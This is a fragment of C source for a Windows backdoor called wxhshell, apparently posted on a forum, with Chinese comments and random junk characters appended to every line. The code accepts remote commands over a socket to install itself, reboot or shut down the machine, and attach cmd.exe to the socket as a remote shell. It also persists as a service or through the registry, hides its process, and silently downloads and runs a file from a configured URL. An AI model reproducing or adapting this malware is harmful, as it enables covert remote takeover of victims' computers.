      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 7<e}5nA/  
    break; &-Ch>:[  
  } J(d+EjC  
  // 安装 ^;a .;wR  
  case 'i': { E7\K{]  
    if(Install()) 3WQa^'u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); uGC5XX^  
    else .uauSx/#4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); TaYl[I  
    break; V;MmPNP|  
    } ;a1DIUm'  
  // 卸载 qCcLd7`$  
  case 'r': { B <r0y  
    if(Uninstall()) |X:`o;Uma  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); uXFI7vV6P  
    else /mz.HCs  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K |=o-  
    break; z*jaA;#  
    } |}:}14ty  
  // 显示 wxhshell 所在路径 &nr{-][  
  case 'p': { |=YK2};  
    char svExeFile[MAX_PATH]; vi^YtA  
    strcpy(svExeFile,"\n\r"); ohKoX$|p~  
      strcat(svExeFile,ExeFile); ^uUA41o`eJ  
        send(wsh,svExeFile,strlen(svExeFile),0); _"Ym]y28li  
    break; lG'D/#  
    } 5|~g2Zz{;  
  // 重启 qqZ4K:oC,  
  case 'b': { fTPm Fb  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); >Z_;ZMu)  
    if(Boot(REBOOT)) tkk8b6%h?p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); PjBAf'  
    else { , v} )  
    closesocket(wsh); q&>fKSnKs  
    ExitThread(0); 1O0. CC,p  
    } f?/OV*  
    break; >qNpY(Ql  
    } XV%R Mr6  
  // 关机 Wfd`v  
  case 'd': { @, fvWNI  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 80lhhqRC  
    if(Boot(SHUTDOWN)) ";7N$hWE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P=,\wM6T|  
    else { %!A:Ka!m.  
    closesocket(wsh); !J;Bm,Xn6  
    ExitThread(0); ck0%H#BYY  
    } D1-/#QN$1  
    break; TPBQfp%HU  
    } ~L<"]V+B  
  // 获取shell d'MZ%.#  
  case 's': { QObVJg,GD  
    CmdShell(wsh); .^9khK J;  
    closesocket(wsh); ),`jMd1`  
    ExitThread(0); ,yNuz@^ P  
    break; {0F/6GwUC  
  } J61%a,es  
  // 退出 r-$xLe7a  
  case 'x': { q>'#;QA  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); {~O4*2zg;K  
    CloseIt(wsh); !5De?OXe   
    break;  \8C<nh  
    } #n+u>x.O  
  // 离开 ~ 2Hw\fx  
  case 'q': { HN367j2e  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Ln&~t(7  
    closesocket(wsh); Z+U -+eG  
    WSACleanup(); ',`Qx{tQ)  
    exit(1); aE)1LP  
    break; `)8~/G%  
        } ~ i+XVo  
  } f9#srIx+  
  } {'+{ASpO!  
AP>n-Z|  
  // 提示信息 V*rLGY#  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {,Vvm*L/  
}  q%d'pF  
  } ?m~1b_@A{  
9>- 6Y  
  return; u `xQC /  
} g$e|y#Ic$  
Cx~;oWZ  
// shell模块句柄 Mn&_R{{=  
int CmdShell(SOCKET sock) 7WSP0Xyz  
{ C=oeRc'r1W  
STARTUPINFO si; AlDp+"|  
ZeroMemory(&si,sizeof(si)); +|g*<0T5<  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; rQT%~oM:  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; OT$ Ne  
PROCESS_INFORMATION ProcessInfo; e?;c9]XO,o  
char cmdline[]="cmd"; .u ikte  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Y5CkCF  
  return 0; rZ(#t{]=!  
} .zdaY, U  
,S d j"C  
// 自身启动模式 "__)RHH:8  
int StartFromService(void) u0+F2+ I  
{ L;*7p9  
typedef struct %-fXa2  
{ kdGq\k,  
  DWORD ExitStatus; ^C~_}/cZ  
  DWORD PebBaseAddress; Xa>'DO2  
  DWORD AffinityMask; om`B:=+  
  DWORD BasePriority; ygja{W.  
  ULONG UniqueProcessId; RTd,bi*  
  ULONG InheritedFromUniqueProcessId; -`Z!p  
}   PROCESS_BASIC_INFORMATION; 1mtYap4  
0sw;h.VY  
PROCNTQSIP NtQueryInformationProcess; 2jhJXM=~  
NGi)Lh|  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; qY%|Uo  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; |H5GWZ O{^  
P4yUm(@  
  HANDLE             hProcess; Ms5qQ<0v_  
  PROCESS_BASIC_INFORMATION pbi; $ s1/Rmw  
Q}\\0ajS)  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Zbr e5&aU  
  if(NULL == hInst ) return 0; `'iO+/;GY  
m.ka%h$  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); r$4d4xtK  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); E7R%G OH  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); O{c#&/.K  
Pw]+6  
  if (!NtQueryInformationProcess) return 0; j< h1s%  
2K/t[.8  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); {7oPDP  
  if(!hProcess) return 0; o8:9Y js  
\6 JY#%  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; <tZtt9j_  
5#|&&$)  
  CloseHandle(hProcess); KAE %Wwjr  
;TDvk ]:  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Jo[ &y,  
if(hProcess==NULL) return 0; !jB}}&Ii  
B+Qo{-  
HMODULE hMod; +<@1)qZ(E  
char procName[255]; O\cc=7  
unsigned long cbNeeded; `2+TN  
32 j){[PL3  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 0 5?`W&:9  
F> Ika=z,  
  CloseHandle(hProcess); 8VU(+%X  
WQCnkP  
if(strstr(procName,"services")) return 1; // 以服务启动 &m36h`tM  
POl-S<QV  
  return 0; // 注册表启动 E[ -yfP~[  
} C%<Dq0j  
aLLI\3  
// 主模块 uIO?4\s&G  
int StartWxhshell(LPSTR lpCmdLine) 1Ci^e7|?  
{ ]QY-L O(  
  SOCKET wsl; 6||%T$_;}  
BOOL val=TRUE; C[TjcHoA  
  int port=0; c^H#[<6p  
  struct sockaddr_in door; 80%"2kG  
x{!+ 4W;S  
  if(wscfg.ws_autoins) Install(); v h)CB8  
XD6Kp[s  
port=atoi(lpCmdLine); o@ ^^;30  
->{\7|^  
if(port<=0) port=wscfg.ws_port; #%$@[4 "V  
)!VJ\  
  WSADATA data; $ SA @ "  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; f$}g'r zl  
KMfIp:~  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   4Hyp]07  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); rVOF  
  door.sin_family = AF_INET; )xg8#M=K  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); m7A3i<6p  
  door.sin_port = htons(port); \N|}V.r  
hB>FJZQ_  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { s H'FqV,)  
closesocket(wsl); 8* m,#   
return 1; z\, lPwB2  
} ! B`  
|Om][z  
  if(listen(wsl,2) == INVALID_SOCKET) { hqHk,#  
closesocket(wsl); uj%]+Llxv  
return 1; KDP& I J  
} Y*lc ~X  
  Wxhshell(wsl); "IJ1b~j?  
  WSACleanup(); )2d1@]6#  
:ba4E[@  
return 0; AGwdM-$iT  
AYoTCi%7E  
} "\~>[on  
M`=\ijUwN  
// 以NT服务方式启动 Fm&f  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) '>bn94$  
{ F|VHr@%  
DWORD   status = 0; GM^H )8U  
  DWORD   specificError = 0xfffffff; !3c+}j-j  
v?nGAn  
  serviceStatus.dwServiceType     = SERVICE_WIN32; &432/=QSm0  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Y nTx)uW  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; cZ`%Gt6g  
  serviceStatus.dwWin32ExitCode     = 0; =NK'xPr  
  serviceStatus.dwServiceSpecificExitCode = 0; $i3`cX)g  
  serviceStatus.dwCheckPoint       = 0; 9w0v?%%_  
  serviceStatus.dwWaitHint       = 0; &'i.W}Ib!  
3WGOftLzt  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); f@Ve,i  
  if (hServiceStatusHandle==0) return; gm:Y@6W  
u  XZ;K.  
status = GetLastError(); 8 f~M6  
  if (status!=NO_ERROR) ':\bn:;  
{ $K\;sn; |:  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; $S?xB$  
    serviceStatus.dwCheckPoint       = 0; |a\,([aU  
    serviceStatus.dwWaitHint       = 0; 4/SltWU  
    serviceStatus.dwWin32ExitCode     = status; @YS,)U)4S  
    serviceStatus.dwServiceSpecificExitCode = specificError; V^ ;l g[:  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); m\=Cw&(  
    return; IY}GU 2#  
  } %6V=G5+W  
,(hP /<  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; vON7~KA  
  serviceStatus.dwCheckPoint       = 0; HyQ(9cn |  
  serviceStatus.dwWaitHint       = 0; Mg^A,8lrm  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); YWANBM(v+  
} p NQ@aJ  
=@P(cFJ/  
// 处理NT服务事件,比如:启动、停止 8JMxA2tZhG  
VOID WINAPI NTServiceHandler(DWORD fdwControl) n-wOLH  
{ cqb6]  
switch(fdwControl) hJ4 A5m.  
{ u!VrMH  
case SERVICE_CONTROL_STOP: 3][   
  serviceStatus.dwWin32ExitCode = 0; I[ 06R  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 2of+KI:  
  serviceStatus.dwCheckPoint   = 0; Dn>C :YS`  
  serviceStatus.dwWaitHint     = 0; .lz= MUR  
  { +).=}.k  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >k}Kf1I  
  } -)ri,v{:c  
  return; M|.ykA<D  
case SERVICE_CONTROL_PAUSE: %~Ymb&ugg  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Cq\{\!6[  
  break; VdL }$CX$  
case SERVICE_CONTROL_CONTINUE: 0V2~  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; p+2%LYR u  
  break; z`dnS]q9  
case SERVICE_CONTROL_INTERROGATE: r6:nYyF$)v  
  break; $z@nT.x5  
}; KWw?W1H  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); z5f3T D6,  
} ; ?,'jI*1  
rO,n~|YJ  
// 标准应用程序主函数 7B)@ aUj$  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) d5W =?  
{ U!lWP#m  
R~d Wblv  
// 获取操作系统版本 EiA_9%<  
OsIsNt=GetOsVer(); ar`}+2Qh0  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 2m&?t_W  
/w*HxtwFmD  
  // 从命令行安装 {]y!2r  
  if(strpbrk(lpCmdLine,"iI")) Install(); #vcQ =%;O  
SR/ "{\C  
  // 下载执行文件 s*>B"#En  
if(wscfg.ws_downexe) { /cD]m  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) w*4sT+ P  
  WinExec(wscfg.ws_filenam,SW_HIDE); sR$/z9w  
} aU] nh. a  
c 8|&Q  
if(!OsIsNt) { 0gKSjTqo  
// 如果时win9x,隐藏进程并且设置为注册表启动 ~Z97L  
HideProc(); ~?lmkfy  
StartWxhshell(lpCmdLine); #W L>ha v  
} yMb.~A^$J  
else MWn []'TpH  
  if(StartFromService()) =vKSvQP@)  
  // 以服务方式启动 bxww1NG>|Z  
  StartServiceCtrlDispatcher(DispatchTable); `9G1Bd8k  
else 4}^\&K&t{  
  // 普通方式启动 # 9ZO1\  
  StartWxhshell(lpCmdLine); )x&>Cf<,  
-s:NF;"  
return 0; j&,%v+x  
}
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只看该作者 1 发表于: 2006-10-10
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